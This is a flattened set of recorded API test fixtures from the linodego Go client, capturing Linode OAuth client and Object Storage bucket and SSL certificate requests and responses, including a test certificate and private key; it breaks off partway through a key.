method: POST response: body: '{"id": "757a5af92718d7369687", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "1950e1df7217e8f8f1543ba8b1d12c03e6088eb1429e10549e18c650b677015f", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Dec 2024 01:14:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/757a5af92718d7369687/reset-secret method: POST response: body: '{"id": "757a5af92718d7369687", "redirect_uri": "https://example.com", "label": "go-client-test", "status": "active", "secret": "af3ccc4a7d881a8a858593080d0bffb1e9c6b1917cb88e28bd2b10ad885679cb", "thumbnail_url": null, "public": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "233" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Dec 2024 01:14:47 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/oauth-clients/757a5af92718d7369687 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Dec 2024 01:14:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageBucketCert.yaml000066400000000000000000000652211474652371000330250ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/endpoints?page=1 method: GET response: body: '{"pages": 1, "page": 1, "results": 18, "data": [{"region": "fr-par", "endpoint_type": "E1", "s3_endpoint": "fr-par-1.linodeobjects.com"}, {"region": "ap-south", "endpoint_type": "E0", "s3_endpoint": "ap-south-1.linodeobjects.com"}, {"region": "us-sea", "endpoint_type": "E1", "s3_endpoint": "us-sea-1.linodeobjects.com"}, {"region": "us-east", "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}, {"region": "us-southeast", "endpoint_type": "E0", "s3_endpoint": "us-southeast-1.linodeobjects.com"}, {"region": "jp-osa", "endpoint_type": "E1", "s3_endpoint": "jp-osa-1.linodeobjects.com"}, {"region": "br-gru", "endpoint_type": "E1", "s3_endpoint": "br-gru-1.linodeobjects.com"}, {"region": "us-ord", "endpoint_type": "E1", "s3_endpoint": "us-ord-1.linodeobjects.com"}, {"region": "us-iad", "endpoint_type": "E1", "s3_endpoint": "us-iad-1.linodeobjects.com"}, {"region": "se-sto", "endpoint_type": "E1", "s3_endpoint": "se-sto-1.linodeobjects.com"}, {"region": "it-mil", "endpoint_type": "E1", "s3_endpoint": "it-mil-1.linodeobjects.com"}, {"region": "us-lax", "endpoint_type": "E1", "s3_endpoint": "us-lax-1.linodeobjects.com"}, {"region": "nl-ams", "endpoint_type": "E1", "s3_endpoint": "nl-ams-1.linodeobjects.com"}, {"region": "us-mia", "endpoint_type": "E1", "s3_endpoint": "us-mia-1.linodeobjects.com"}, {"region": "eu-central", "endpoint_type": "E0", "s3_endpoint": "eu-central-1.linodeobjects.com"}, {"region": "in-maa", "endpoint_type": "E1", "s3_endpoint": "in-maa-1.linodeobjects.com"}, {"region": "es-mad", "endpoint_type": "E1", "s3_endpoint": "es-mad-1.linodeobjects.com"}, {"region": "id-cgk", "endpoint_type": "E1", "s3_endpoint": "id-cgk-1.linodeobjects.com"}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"fr-par","label":"linode-obj-bucket-cert-test.xyz","endpoint_type":"E1"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "linode-obj-bucket-cert-test.xyz.fr-par-1.linodeobjects.com", "label": "linode-obj-bucket-cert-test.xyz", "created": "2018-01-02T03:04:05", "region": "fr-par", "cluster": "fr-par-1", "size": 0, "objects": 0, "endpoint_type": "E1", "s3_endpoint": "fr-par-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "288" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:22 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"certificate":"-----BEGIN CERTIFICATE-----\nMIIF3DCCA8QCCQC0dUFu1HvjazANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC\nVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGlsYWRlbHBoaWExDzANBgNVBAoM\nBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMMH2xpbm9kZS1vYmotYnVja2V0\nLWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEWJWFkbWluQGxpbm9kZS1vYmot\nYnVja2V0LWNlcnQtdGVzdC54eXowHhcNMjAxMDA1MTg0MDUyWhcNMjExMDA1MTg0\nMDUyWjCBrzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGls\nYWRlbHBoaWExDzANBgNVBAoMBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMM\nH2xpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEW\nJWFkbWluQGxpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXowggIiMA0GCSqG\nSIb3DQEBAQUAA4ICDwAwggIKAoICAQCy4LqfRYXE314e6YkpR1BbKPH8ohO4lcMt\n+YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8iSio8V97CdQb8O64OQmre\n/y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jljU8MZSg6sLM4ZEBhfcT0V\n3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGUG6KwGzf+dLSKzBcjy5ho\nh4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8lUtc/hFI+J8WVh/qLTKQ\nCcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK/vKBNycJsENtWno9KgtN\nfsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O/v3O4wz+YS55xnVeEPIf\nfOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7eU1RpJmbc5X8GhytiD2M\ngIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb+ZQDvwx3ZujxjFXe3+qI\nkme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25fn3tutk/7hQNMqv0APAah\nLo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+wN3CznWaCtXiAjH3kbOk\n6y2OmI8+4QIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCP2UawP8GDWxyMOsHDPqKp\nPtedCxPpEPsQm8KMnt5KJ55NFqTcpARz1miHXT1aBedu9IoqxvTP4g8BQ4QFjP2s\nddNu2WKqnwyzkCtnB2zOrOKlvUtRAZ4x2iyhKNqls6D7I4tw22HMbTzW2TVeuGVa\noiRtawFcUsjSAcarRw6swLTln+BK54dWa9E5hiulBoHLosMWCEyUDrUnaiB+2+7C\nbsExYZTXRlii7YPSr46zPmte2iKa1+b0g5DXkzSazWp+R/dlGYp84uLWk71e4b/9\nSo1pIitPasCJHgO/ii9nIcmDXarkaGT5CEUP8WPp6mLY5W9NxgF2czdz6AMJa3P9\n2jNd4J1VFl8k+LDZ4GnwHGhyL3h3lFUmmoQV/0YVoXmA59SxE2JPvc2d1V6xh2gz\nyg2M+xcKliSXxshhAopsSSoEp5g3II2mCvzeSxwsXa4Ob5c5TJNdXslm1pugRCbB\ntjFNh70wZmCq+jY8C+vGsDwkf/5UeAd+c+14s3bwsBfWqZBGokVxyf/UWHtsWlVn\np3USWBwLxEWyQIioMmj4O6wROZeyePDlFDVky4hzTCrTS6EFIqkGBs5RneCHhTN0\ngNHFG8Ixql6mybJAwopvWGEL+7E4pbNdbhmgVvf2YEQuMZBCM7fGdBsRNkTs6jIA\n/8soO6buQgQoCq3GFbodZA==\n-----END CERTIFICATE-----\n","private_key":"-----BEGIN PRIVATE KEY-----\n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\n7aJXvW2Q3oCt1sF576QNr9rLxhHl8A==\n-----END PRIVATE KEY-----\n"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: POST response: body: '{"ssl": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "13" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:24 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/fr-par/linode-obj-bucket-cert-test.xyz/ssl method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 07:13:26 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"certificate":"-----BEGIN CERTIFICATE-----\nMIIF3DCCA8QCCQC0dUFu1HvjazANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC\nVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGlsYWRlbHBoaWExDzANBgNVBAoM\nBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMMH2xpbm9kZS1vYmotYnVja2V0\nLWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEWJWFkbWluQGxpbm9kZS1vYmot\nYnVja2V0LWNlcnQtdGVzdC54eXowHhcNMjAxMDA1MTg0MDUyWhcNMjExMDA1MTg0\nMDUyWjCBrzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGls\nYWRlbHBoaWExDzANBgNVBAoMBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMM\nH2xpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEW\nJWFkbWluQGxpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXowggIiMA0GCSqG\nSIb3DQEBAQUAA4ICDwAwggIKAoICAQCy4LqfRYXE314e6YkpR1BbKPH8ohO4lcMt\n+YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8iSio8V97CdQb8O64OQmre\n/y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jljU8MZSg6sLM4ZEBhfcT0V\n3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGUG6KwGzf+dLSKzBcjy5ho\nh4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8lUtc/hFI+J8WVh/qLTKQ\nCcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK/vKBNycJsENtWno9KgtN\nfsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O/v3O4wz+YS55xnVeEPIf\nfOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7eU1RpJmbc5X8GhytiD2M\ngIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb+ZQDvwx3ZujxjFXe3+qI\nkme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25fn3tutk/7hQNMqv0APAah\nLo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+wN3CznWaCtXiAjH3kbOk\n6y2OmI8+4QIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCP2UawP8GDWxyMOsHDPqKp\nPtedCxPpEPsQm8KMnt5KJ55NFqTcpARz1miHXT1aBedu9IoqxvTP4g8BQ4QFjP2s\nddNu2WKqnwyzkCtnB2zOrOKlvUtRAZ4x2iyhKNqls6D7I4tw22HMbTzW2TVeuGVa\noiRtawFcUsjSAcarRw6swLTln+BK54dWa9E5hiulBoHLosMWCEyUDrUnaiB+2+7C\nbsExYZTXRlii7YPSr46zPmte2iKa1+b0g5DXkzSazWp+R/dlGYp84uLWk71e4b/9\nSo1pIitPasCJHgO/ii9nIcmDXarkaGT5CEUP8WPp6mLY5W9NxgF2czdz6AMJa3P9\n2jNd4J1VFl8k+LDZ4GnwHGhyL3h3lFUmmoQV/0YVoXmA59SxE2JPvc2d1V6xh2gz\nyg2M+xcKliSXxshhAopsSSoEp5g3II2mCvzeSxwsXa4Ob5c5TJNdXslm1pugRCbB\ntjFNh70wZmCq+jY8C+vGsDwkf/5UeAd+c+14s3bwsBfWqZBGokVxyf/UWHtsWlVn\np3USWBwLxEWyQIioMmj4O6wROZeyePDlFDVky4hzTCrTS6EFIqkGBs5RneCHhTN0\ngNHFG8Ixql6mybJAwopvWGEL+7E4pbNdbhmgVvf2YEQuMZBCM7fGdBsRNkTs6jIA\n/8soO6buQgQoCq3GFbodZA==\n-----END CERTIFICATE-----\n","private_key":"-----BEGIN PRIVATE KEY-----\n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